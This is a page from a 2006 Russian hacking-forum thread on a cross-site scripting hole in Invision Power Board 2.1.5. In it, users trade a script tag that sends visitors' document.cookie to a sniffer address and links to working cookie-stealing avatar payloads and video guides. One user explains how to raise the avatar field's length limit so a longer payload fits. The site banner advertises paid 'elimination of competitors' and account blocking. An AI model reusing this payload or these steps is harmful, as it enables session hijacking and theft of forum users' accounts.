Invision 2.1.5 Xss

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Invision 2.1.5 Xss

Страница 5 из 8

Опции темы

Поиск в этой теме

Опции просмотра

#41

28.04.2006, 11:35

BUTUZ

Новичок

Регистрация: 26.01.2006

Сообщений: 9

С нами: 10677738

Репутация: 0

не проходит этот скрипт

Код HTML:

<script>
img = new Image();
img.src = "http://адресс_снифера?"+document.cookie;
</script>

форум http://no-links.com/

Последний раз редактировалось Azazel; 21.05.2006 в 11:54..

#42

28.04.2006, 22:45

1SeTh

Участник форума

Регистрация: 17.02.2006

Сообщений: 189

С нами: 10646246

Репутация: 34

Цитата:

Сообщение от CinerX

Ни чего не понял! Как же тогда она открывается как аватара, если она закачивается???

Я же объяснил что работает только почему то на локалке

#43

29.04.2006, 01:33

CinerX

Познающий

Регистрация: 13.02.2006

Сообщений: 82

С нами: 10652006

Репутация: 37

Цитата:

Сообщение от BUTUZ

не проходит этот скрипт

Код HTML:

<script>
img = new Image();
img.src = "http://адресс_снифера?"+document.cookie;
</script>

форум http://no-links.com/

Он полюбому не пройдет... Читай весь топик! И внимательней!

Последний раз редактировалось Azazel; 21.05.2006 в 11:54..

#44

29.04.2006, 03:23

BUTUZ

Новичок

Регистрация: 26.01.2006

Сообщений: 9

С нами: 10677738

Репутация: 0

Цитата:

Сообщение от CinerX

Он полюбому не пройдет... Читай весь топик! И внимательней!

#45

30.04.2006, 01:22

CinerX

Познающий

Регистрация: 13.02.2006

Сообщений: 82

С нами: 10652006

Репутация: 37

Этот код все равно не сработает. Т.к. ты не зашифровал еще много чего...

Вот мой рабочий
Если IPB 2.1.4 то вот:
http://dreamshell.h16.ru/hack/cookie_avatar_ipb.txt
Если IPB 2.1.5 то ставь как аватару, предварительно убрав [IMG]

#46

30.04.2006, 17:06

BUTUZ

Новичок

Регистрация: 26.01.2006

Сообщений: 9

С нами: 10677738

Репутация: 0

эт как как аватару???

#47

01.05.2006, 16:02

Sanyk36

Новичок

Регистрация: 20.04.2006

Сообщений: 5

С нами: 10557247

Репутация: 0

Цитата:

Сообщение от BUTUZ

эт как как аватару???

Вот кино, как в аватару xss вставить:
http://rapidshare.de/files/19344213/...vatar.rar.html

#48

02.05.2006, 01:33

CinerX

Познающий

Регистрация: 13.02.2006

Сообщений: 82

С нами: 10652006

Репутация: 37

Цитата:

Вот кино, как в аватару xss вставить:

Ввобще-то я в этой теме уже выкладывал видео на примере DamageLab:
_http://dreamshell.h16.ru/hack/damagelab.rar

#49

07.05.2006, 13:53

~~nix~~

Banned

Регистрация: 07.05.2006

Сообщений: 36

С нами: 10532793

Репутация: -9

А как чтобы на снифер отсылало зделать, тамж ведь ограничение стоит на длину...

#50

07.05.2006, 14:11

ZetRoX

Познающий

Регистрация: 04.12.2005

Сообщений: 52

С нами: 10753681

Репутация: 1

все просто...заходишь в свой профиль....--> сменить аватарку.....сохраняешь эту страницу у себя на компе....(файл сохранить как....)....открываешь эту страницу блокнотом....ближе к концу находишь надпись (по-русски) "Введите ссылку на файл Вашего аватара".....ниже видишь строчку.....maxLength=80.....вместо 80 делаешь 300, например, maxLength=300.....и сохраняешь файл....открываешь броузером и теперь у тебя стоит ограничение на 300 символов...

для прописи кода тебе хватит сполна....

Страница 5 из 8

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Xss для новичков	Micr0b	Уязвимости	79	06.07.2018 22:05
Invision 1.3 Xss ?	slider	Уязвимости CMS / форумов	6	01.06.2006 13:01
Уязвимость Invision Power Board 2.1.5	Go0o$E	Уязвимости CMS / форумов	106	05.05.2006 21:35
Active XSS in Invision Power Board 2.1.4	k00p3r	Уязвимости	8	03.03.2006 20:51
Вопрос по использованию XSS на Powered by Invision Power Board(U) v1.3 Final	rsha1988	Уязвимости CMS / форумов	12	15.02.2005 01:44

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход